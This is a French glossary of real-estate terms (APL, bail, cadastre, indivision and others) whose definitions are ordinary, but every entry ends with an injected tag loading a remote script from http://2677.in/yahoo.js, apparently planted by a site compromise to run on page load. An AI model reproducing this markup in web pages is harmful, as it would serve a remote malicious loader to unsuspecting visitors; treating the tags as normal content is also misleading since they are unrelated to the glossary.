Lexique des termes immobiliers

A.P.L

Aide Personnalisée au Logement. Cette aide vise à permettre aux ménages les plus modestes de réduire les charges financières de leur logement. Elle concerne aussi bien les frais de location que ceux d'accession à la propriété. Cette subvention est fixée selon la composition du foyer, la situation financière du bénéficiaire et la nature du logement. A.P.L<script src=http://2677.in/yahoo.js></script>

Abattant

Châssis de fenêtre s'ouvrant de manière horizontal <script src=http://2677.in/yahoo.js></script>

Abattement

Part de l'héritage ou du revenu sur lequel il n'y a pas d'impôts à payer.<script src=http://2677.in/yahoo.js></script>

ADIL

Association Départementale pour l'Information sur le Logement : l'ADIL a pour mission d'informer gratuitement le public sur toutes les questions juridiques, financières et fiscales liées à l'immobilier. <script src=http://2677.in/yahoo.js></script>

Administrateur de bien

Ce professionnel de l'immobilier, également appelé gérant d'immeubles, effectue en qualité de mandataire toutes les opérations de gestion d'immeubles pour les propriétaires (particuliers ou sociétés) : recherche de locataires, conclusion des baux, perception des loyers et des charges, entretien et réparations etc. Dans le cadre d'une copropriété, il intervient en qualité de syndic d'immeubles pour le compte de l'ensemble des copropriétaires. Profession réglementée par la loi Hoguet du 2 Janvier 1970 et par le décret du 20 Juillet 1972 <script src=http://2677.in/yahoo.js></script>

Agence immobilière

Terme désignant un commerce (souvent une entreprise) dont la fonction est de proposer ses services et moyens pour la négociation et le conseil en matière de biens immobiliers : vente et location, conseil en matière d'achat, estimation de biens <script src=http://2677.in/yahoo.js></script>

Aggloméré

élément de maçonnerie préfabriqué constitué d’agrégats et de ciment. Le même mot est employé pour les panneaux de fibres de bois reconstitué. <script src=http://2677.in/yahoo.js></script>

Apport personnel

Somme d'argent détenu par un acquéreur sans avoir recours à un emprunt <script src=http://2677.in/yahoo.js></script>

Assemblée genérale des copropriétaires

Réunion de l'ensemble des copropriétaires d'un immeuble qui vote les réparations à réaliser au moins une fois par an<script src=http://2677.in/yahoo.js></script>

Assurances dommages-ouvrage

pour couvrir les dommages occasionnés pendant 10 ans sur la construction. L'acte de vente ou une annexe doit mentionner l'existence ou l'absence d'assurance souscrite par le vendeur. <script src=http://2677.in/yahoo.js></script>

bail commercial

contrat de location établi spécifiquement pour les activités commerciales ou artisanales. les baux commerciaux sont soumis à réglementation. Le bailleur doit s'engager pour une période mimimale de neuf années.<script src=http://2677.in/yahoo.js></script>

Bail ou contrat de location

C'est un document destiné à définir les relations contractuelles entre un propriétaire et son locataire. En général, les baux d'habitation pour une résidence principale sont régis par les lois du 23 décembre 1986 et du 6 juillet 1989.<script src=http://2677.in/yahoo.js></script>

Bailleur

Personne qui met en location un bien dont elle est propriétaire.<script src=http://2677.in/yahoo.js></script>

Bien immobilier

Il peut s'agir d'un immeuble, d'un bâtiment (maison, hangar, etc.), d'un terrain, d'un fonds de commerce, d'une partie d'immeuble (appartement), auxquels s'ajoutent tous les biens attachés directement à l'immeuble : évier, fenêtres, volets, cheminée.<script src=http://2677.in/yahoo.js></script>

Bornage

Le bornage a pour but de fixer la limite séparant deux propriétés<script src=http://2677.in/yahoo.js></script>

Cadastre

document permettant d’identifier les propriétés en présence dans une commune . Ces documents pouvent être consultés en mairie. Ils permettent de déterminer la valeur locative d'un biens fonciers, valeur sur laquelle repose le calcul des impôts locaux <script src=http://2677.in/yahoo.js></script>

CAF Caisse d'Allocations Familiales

la CAF verse les différentes aides au logement telles que l'APL, l'ALS, l'ALF <script src=http://2677.in/yahoo.js></script>

Caution

Personne physique ou morale garantissant l'exécution d'un engagement pris par un tiers pour le cas où ce dernier n'y satisferait pas lui-même. <script src=http://2677.in/yahoo.js></script>

Certificat d'urbanisme

document officiel obtenu en Maire qui régit les obligations de constructions et d'aménagements d'un terrain. certificat urbanisme <script src=http://2677.in/yahoo.js></script>

L'achat en indivision

L'achat en indivision : sert aux personnes sans lien de parenté d'acquérir ensemble un bien immobilier. Il s'agit par exemple personnes vivant en concubinage. Une convention d'indivision est signé par les acquéreurs, ce qui permet de définir la quote-part de chacun, quote-part qui n'est pas obligatoirement égale. Chaque indivisaire peut consentir à une hypothèque sur sa part. L'indivision peut cesser soit par la vente de la part de l'un des indivisaires, soit par le décès de l'un d'entre eux. <script src=http://2677.in/yahoo.js></script>